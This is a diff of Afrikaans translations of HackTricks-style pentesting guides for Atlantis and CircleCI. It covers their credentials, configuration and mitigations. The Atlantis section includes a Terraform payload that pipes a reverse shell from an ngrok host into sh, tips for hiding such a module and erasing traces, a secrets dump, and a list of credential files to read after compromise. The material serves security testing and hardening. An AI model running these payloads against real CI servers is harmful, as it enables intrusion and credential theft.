+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -2,72 +2,72 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Basiese Inligting
Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.
.png>)
-### Local Lab
+### Plaaslike Laboratorium
1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is.
2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker.
-3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om met **atlantis** te **praat**.
+3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om **met atlantis te kommunikeer**.
1. Jy kan die webblad in 127.0.0.1:4141 toegang.
-### Atlantis Access
+### Atlantis Toegang
-#### Git Server Credentials
+#### Git Bediener Kredensiale
-**Atlantis** ondersteun verskeie git gasheer soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
-Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **privileged access granted to them** hê (ten minste skryf regte).\
-[**Die docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
+**Atlantis** ondersteun verskeie git gashere soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
+Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **bevoorregte toegang gegee word** (ten minste skryf regte).\
+[**Die dokumentasie**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
> [!WARNING]
> In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees.
#### Webhooks
-Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gasheer ontvang **legitiem** is.
+Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gashere ontvang **legitiem** is.
-Een manier om dit te bevestig, sou wees om **toestemming te gee dat versoeke slegs van die IP's** van jou Git gasheer kom, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
+Een manier om dit te bevestig, sou wees om **slegs versoeke van die IP's** van jou Git gashere toe te laat, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
-Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhook eindpunte aan die internet moet blootstel.
+Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhooks eindpunte aan die internet moet blootstel.
> [!WARNING]
> Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**.
-#### Provider Credentials
+#### Verskaffer Kredensiale
-[Van die docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[Van die dokumentasie:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehoste is** uit te voer. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis credentials vir jou spesifieke verskaffer.
+Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehost word**. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis kredensiale vir jou spesifieke verskaffer.
-Dit is aan jou hoe jy [credentials verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
+Dit is aan jou hoe jy [kredensiale verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
-- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer credentials. Lees hul docs.
+- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer kredensiale. Lees hul dokumentasie.
- As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop.
- Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop.
-- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer credentials te verkry.
+- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer kredensiale te verkry.
> [!WARNING]
-> Die **container** waar **Atlantis** **loop**, gaan hoogs waarskynlik **privileged credentials** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
+> Die **houer** waar **Atlantis** **loop** gaan hoogs waarskynlik **bevoorregte kredensiale** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
-#### Web Page
+#### Webblad
-Standaard sal Atlantis 'n **webblad in die poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis apply in te skakel/af te skakel en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie so nuttig nie).
+Standaard sal Atlantis 'n **webblad op poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis toep te laat of nie en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te verander nie, so dit is nie so nuttig nie).
-Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk asof standaard **geen credentials benodig** word om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
+Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk of standaard **geen kredensiale benodig word** om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
-### Server Configuration
+### Bediener Konfigurasie
Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.
- Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind.
-- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
Waardes word **in hierdie volgorde gekies**:
@@ -78,34 +78,34 @@ Waardes word **in hierdie volgorde gekies**:
> [!WARNING]
> Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind.
-#### Repos Configuration
+#### Repos Konfigurasie
-Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo te spesifiseer. Dit is die prioriteitsorde:
+Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo spesifiek te spesifiseer. Dit is die prioriteitsorde:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
-1. Waarskynlik vereis om toegelaat te word deur vlae soos `allowed_overrides` of `allow_custom_workflows`.
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
+1. Waarskynlik vereis om deur vlae soos `allowed_overrides` of `allow_custom_workflows` toegelaat te word.
+2. [**Bediener Kante Konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
3. **Standaard** waardes.
-**PR Protections**
+**PR Beskerming**
-Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergeable`** wees (tak beskermings geslaag) **voor die uitvoering van apply**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
+Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergable`** wees (tak beskermings geslaag) **voor die toep van toepassing is**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
-In die geval dat `allowed_overrides` waar is, kan hierdie instellings **oor geskryf word op elke projek deur die `/atlantis.yml` lêer**.
+In die geval dat `allowed_overrides` waar is, kan hierdie instelling **op elke projek oorgeskryf word deur die `/atlantis.yml` lêer**.
-**Scripts**
+**Skripte**
-Die repo konfigurasie kan **scripts spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
+Die repo konfigurasie kan **skripte spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
-Daar is geen opsie om **te spesifiseer** hierdie scripts in die **repo `/atlantis.yml`** lêer nie.
+Daar is geen opsie om **hierdie skripte in die **repo `/atlantis.yml`** lêer te spesifiseer nie.
**Workflow**
-In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe persoonlike workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
+In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe pasgemaakte workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.**
> [!CAUTION]
-> As die [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oor te skryf**.\
+> As die [**bediener kant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oorgeskryf**.\
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
@@ -124,20 +124,20 @@ Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow t
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Conftest Beleid Kontrole**
-Atlantis ondersteun die uitvoering van **server-side** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir die gebruik van hierdie stap sluit in:
+Atlantis ondersteun die uitvoering van **bediener-kant** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir hierdie stap sluit in:
- Ontkenning van die gebruik van 'n lys van modules.
- Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
- Vang onbedoelde hulpbron verwyderings.
- Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).
-Jy kan kyk hoe om dit te konfigureer in [**die docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Jy kan kyk hoe om dit te konfigureer in [**die dokumentasie**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
-### Atlantis Commands
+### Atlantis Opdragte
-[**In die docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
+[**In die dokumentasie**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
```bash
# Get help
atlantis help
@@ -165,7 +165,7 @@ atlantis apply [options] -- [terraform apply flags]
> [!WARNING]
> As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock`
-Jy kan dit regmaak deur te loop:
+Jy kan dit regmaak deur te hardloop:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
@@ -174,7 +174,7 @@ atlantis plan -- -lock=false
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
-Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf`-lêer:
+Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf` lêer:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -182,28 +182,28 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Stealthier Aanval**
-You can perform this attack even in a **stealthier way**, by following this suggestions:
+Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+- In plaas daarvan om die rev shell direk in die terraform-lêer te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell code in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **In plaas daarvan** om 'n **PR na master** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
+- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **In plaas daarvan** om 'n **PR na meester** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
-#### Atlantis plan Secrets Dump
+#### Atlantis plan Geheimen Dump
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
+U kan **geheimen wat deur terraform gebruik word** dump deur `atlantis plan` (`terraform plan`) te loop deur iets soos dit in die terraform-lêer te plaas:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-#### Atlantis apply RCE - Konfigurasie wysiging in nuwe PR
+#### Atlantis toepas RCE - Konfigurasie wysiging in nuwe PR
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
@@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Iets wat jy kan deurgee, is omgewingsveranderlikes wat dalk nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-#### Custom Workflow
+#### Pasgemaakte Werkvloei
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+Die uitvoering van **kwaadwillige pasgemaakte bouopdragte** wat in 'n `atlantis.yaml`-lêer gespesifiseer is. Atlantis gebruik die `atlantis.yaml`-lêer van die pull request tak, **nie** van `master`.\
+Hierdie moontlikheid is in 'n vorige afdeling genoem:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **gespesifiseer** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **oorheers die werkvloei** that is going to be used.
+> As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan werkvloei **gespesifiseer** word in die **`atlantis.yaml`**-lêer van elke repo. Dit is ook moontlik nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die **werkvloei** wat gebruik gaan word, te **oorheers**.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
> # atlantis.yaml
@@ -272,9 +272,9 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
+#### Omseil plan/apply beskermings
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _het_ `apply_requirements` configured, it's possible for a repo to **wysig die plan/apply beskerming om dit te omseil**.
+As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allowed_overrides` _gekonfigureer_ is met `apply_requirements`, is dit moontlik vir 'n repo om die **plan/apply beskermings te wysig om dit te omseil**.
```yaml
repos:
- id: /.*/
@@ -292,11 +292,11 @@ Dit is die **instelling** in Github branch protections:
#### Webhook Secret
-As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis opdragte** direk aanroep.
+As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis commando's** direk aanroep.
#### Bitbucket
-Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **versoekte van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
+Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **aanvraag van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
- Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom.
- As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
@@ -304,24 +304,24 @@ Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toela
### Post-Exploitation
-As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste jy het 'n LFI, is daar 'n paar interessante dinge wat jy moet probeer lees:
+As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees:
- `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer
- `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting
- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform staat lêer
- Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Omgewings veranderlikes
+- `/proc/1/environ` Omgewing veranderlikes
- `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat)
### Mitigations
-#### Moet nie op Publieke Repos Gebruik nie
+#### Don't Use On Public Repos
-Omdat enigiemand kommentaar op publieke pull requests kan lewer, selfs met al die sekuriteitsmitigaties beskikbaar, is dit steeds gevaarlik om Atlantis op publieke repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
+Omdat enige iemand op openbare pull requests kan kommentaar lewer, selfs met al die sekuriteitsmitigasies beskikbaar, is dit steeds gevaarlik om Atlantis op openbare repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
-#### Moet nie `--allow-fork-prs` Gebruik nie
+#### Don't Use `--allow-fork-prs`
-As jy op 'n publieke repo (wat nie aanbeveel word nie, kyk bo) loop, moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enigiemand 'n pull request van hul fork na jou repo kan oopmaak.
+As jy op 'n openbare repo loop (wat nie aanbeveel word nie, kyk bo), moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enige iemand 'n pull request van hul fork na jou repo kan oopmaak.
#### `--repo-allowlist`
@@ -334,23 +334,23 @@ Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit web
Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede.
-#### Beskerm Terraform Beplanning
+#### Protect Terraform Planning
As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.
Om dit te voorkom, kan jy:
1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
-2. Die verskaffer registrasie protokol intern implementeer en publieke egress ontken, sodat jy beheer wie skrywe toegang tot die registrasie het.
-3. Jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap wysig om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
+2. Implementeer die verskaffer registrasie protokol intern en ontken openbare egress, sodat jy beheer wie skrywe toegang tot die registrasie het.
+3. Wysig jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie-toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
#### Webhook Secrets
-Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewingsveranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
+Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewing veranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.
-#### Azure DevOps Basiese Verifikasie
+#### Azure DevOps Basic Authentication
Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.
@@ -358,11 +358,11 @@ Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook
As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag.
-#### Aktiveer Verifikasie op Atlantis Webbediener
+#### Enable Authentication on Atlantis Web Server
-Dit word baie aanbeveel om verifikasie in die webdiens te aktiveer. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
+Dit word baie aanbeveel om verifikasie in die webdiens in te skakel. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
-Jy kan ook hierdie as omgewingsveranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Jy kan ook hierdie as omgewing veranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 2347a087f..d48dda7d5 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,15 +1,15 @@
-# CircleCI Veiligheid
+# CircleCI Sekuriteit
{{#include ../banners/hacktricks-training.md}}
### Basiese Inligting
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** direk **van jou repo hooftak** byvoorbeeld **outomatiseer**.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** outomaties **van jou repo hooftak** doen byvoorbeeld.
### Toestemmings
**CircleCI** **erf die toestemmings** van github en bitbucket wat verband hou met die **rekening** wat aanmeld.\
-In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat gaan wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...).
+In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat sal wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...).
Jy moet egter 'n **repo admin** wees om die **repo in 'n CircleCI projek te omskep**.
@@ -19,7 +19,7 @@ Volgens [**die dokumentasie**](https://circleci.com/docs/2.0/env-vars/) is daar
#### Ingeboude omgewing veranderlikes
-Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes in die dokumentasie gedefinieer**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`.
+Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes gedefinieer in die dokumentasie**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`.
#### Duidelike teks
